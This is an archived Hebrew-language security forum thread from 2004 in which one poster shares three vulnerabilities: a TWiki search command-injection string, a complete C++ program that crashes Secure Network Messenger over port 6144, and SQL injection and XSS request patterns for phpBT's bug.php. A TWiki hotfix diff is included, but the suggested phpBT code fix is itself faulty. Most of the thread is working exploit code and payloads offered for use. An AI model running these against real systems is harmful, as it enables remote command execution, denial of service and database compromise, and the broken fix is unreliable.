Logo

רד-בורד: ארכיון

ראשי > אבטחת מידע > כמה חורים חדשים - כי אני רואה שלא מפרסמים פה כלום

13/11/2004 18:48:07 spy[D]ir
הפורום הזה יבששש משהו אש
אז בוא ניתן קצת רענון על חור יחסית חדש..(מתוך האימייל שלי, שמפוצץ מיילינג ליסטס חח)

TWiki
"TWiki (TM) - A Web Based Collaboration Platform"

גילו שבגרסאות מסויימות (נראה שקודמות ל 2003\02\01)
אפשר בלי בעיה להריץ פקודות על השרת מרחוק, בתור ה uid של השרת ווב או אם הוגדר אחרת הuid שמוגדר לטוויקי, הטוויקי בנוי בפרל, והמנוע חיפוש שלו לא בודק לערכים שיכולים להוציא אותו מהפרל ולהריץ פקודות על השאלל,
דוגמא לסטרינג שיריץ 2 פקודות...אחת uname -a, והשניה ls / יעני להציג תשם של השרת ואז להראות את כל הקבצים ב \ ...
קוד:
doesnotexist1’; (uname -a; ls /etc) | sed ’s/\(.*\)/__BEGIN__\1__END__.txt/’; fgrep -i -l -- ’doesnotexist2


הפלט שיחזיר האתר הם תוצאות חיפוש רגילות, אבל בעצם הפלט של הפקודה עם __BEGIN__ בהתחלה ו __END__ בסוף.

אתר לדוגמא:
ls /

התכוונתי לפרסם פה עוד חורים, אבל אין לי כוח חח, תשנו תכותרת

האא וכמובן HOTFIX למתענינים
קוד:
--- twiki/lib/TWiki/Search.pm.orig 2004-11-12 20:16:56.000000000 +0100
+++ twiki/lib/TWiki/Search.pm 2004-11-12 20:36:21.000000000 +0100
@@ -135,6 +135,11 @@
my $tempVal = "";
my $tmpl = "";
my $topicCount = 0; # JohnTalintyre
+
+ # Hotfix for search string shell code insertion vulnerability
+ $theSearchVal =~ s/[^A-Za-z0-9+\-_]//g; # only accept known-good chars
+ $theSearchVal = substr($theSearchVal, 0, 100); # limit string to reasonable length
+
my $originalSearch = $theSearchVal;
my $renameTopic;
my $renameWeb = "";
[ההודעה נערכה על-ידי spy[D]ir ב-13/11/2004 20:12:22]
13/11/2004 21:31:44 spy[D]ir
פורסם:
Application: Secure Network Messenger
http://www.networkmessengers.com/msg/
Versions: <= 1.4.2
Platform: Windows
Bug: crash
Exploitation: remote
Date: 12 November 2004
Author: Luigi Auriemma

Secure Network Messenger is a LAN messenger for Windows for exchanging
encrypted messages and files.
Is possible to crash the program sending malformed data.



והנה קוד קטן שכתבתי לו (משעמום יום השבת) עם הסברים למי שלא ממש מבין סי ++ (אפילו)
Blah.cpp
קוד:
#include <stdio.h>
#include "winsock2.h"
char xplcode[] = "\xD\xA\xD\xA\xD\xA\xD\xA\xD\xA\xD\xA\xD\xA\xD\xA\xD\xA\xD\xA\xD\xA\xD\xA\xD\xA\xD\xA\xD\xA";


void main(int argc, char *argv[]) {

// Check Arg’s ...
if (argc != 2) {
printf("\nSecure Network Messenger Crasher\n--By spy[D]ir.\n\nUsage: %s <target>\n",argv[0]);
exit(0);
}

// Create Socket, Check for Error’s ...
WSADATA wsaData;
int iErr = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iErr != NO_ERROR )
printf("Error Starting Winsock!\n, Error: %d\n", iErr);
SOCKET my_s;
my_s = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if ( my_s == INVALID_SOCKET ) {
printf( "Error at socket(): %ld\n", WSAGetLastError() );
WSACleanup();
return;
}

// Config Socket ...
sockaddr_in clientS;
clientS.sin_family = AF_INET;
clientS.sin_addr.s_addr = inet_addr(argv[1]);
clientS.sin_port = htons(6144);
printf("Connecting Target On Port 6144 ...\n");

// Connect Host ...
if ( connect( my_s, (SOCKADDR*) &clientS, sizeof(clientS) ) == SOCKET_ERROR) {
printf( "Cannot Connect SNM (Secure Network Messenger).\n" );
WSACleanup();
return;
}
printf("Sending Exploit Code ...\n");

// Send Exploit Code (or, just a bunch of \n\r’s) :-P
send(my_s, xplcode, strlen(xplcode), 0);
Sleep(2500);
closesocket(my_s); // Close Socket
printf("\n ************************************************ \n Exploit Sent!, Now Connect Target on port 6144,\n Hit RETURN, And SNM Will Die.\n ************************************************ \n");

return;
}


קמפלו ב Borland c++ 5.5:
bcc32 blah.cpp
[ההודעה נערכה על-ידי spy[D]ir ב-13/11/2004 21:35:02]
13/11/2004 22:00:59 spy[D]ir
בעיות SQL INJECTION ב /bugs/bug.php של PHPBT
http://phpbt.sourceforge.net/ - אתר התוכנה

פורסם היום שיש כמה חורי SQL INJECTION בפקודות שונות בתוכנה, והם:
viewvotes (&bugid=)
Add (&project=)

הבעיה העיקרית היא שבסוף הפקודה, הערך נשאר פתוח, ובמקרה של viewvotes יש אפשרות ל XXS אחרי הערך של bugid...
כדי לנצל את זה צריך להריץ בקשות כמו
קוד:
/bug.php?op=viewvotes&bugid=1 [SQL code]
/bug.php?op=viewvotes&bugid=1 union select 1,2,3/*%20 [XXS Code]
/bug.php?op=add&project=0%20[SQL code]


הקוד הפגום:
בעצם פספסו סגירות בשאילתות SQL - (" ’ ") ...במקום:
"where u.user_id = v.user_id and bug_id = $bug_id ".
צריך להיות
"where u.user_id = v.user_id and bug_id = $bug_id’ ".
בפונקצית viewvotes

[ Line 29-37 bug.php ]:
קוד:
function vote_view($bug_id) {
global $u, $db, $t, $STRING;

$t->assign(’votes’, $db->getAll(’select login, v.created_date ’.
’from ’.TBL_AUTH_USER.’ u, ’.TBL_BUG_VOTE." v ".
"where u.user_id = v.user_id and bug_id = $bug_id ".
’order by v.created_date’));
$t->wrap(’bugvotes.html’, ’bugvotes’);

אותו מקרה עם Add - Project ...

[ההודעה נערכה על-ידי spy[D]ir ב-13/11/2004 22:02:42]
עמודים: 1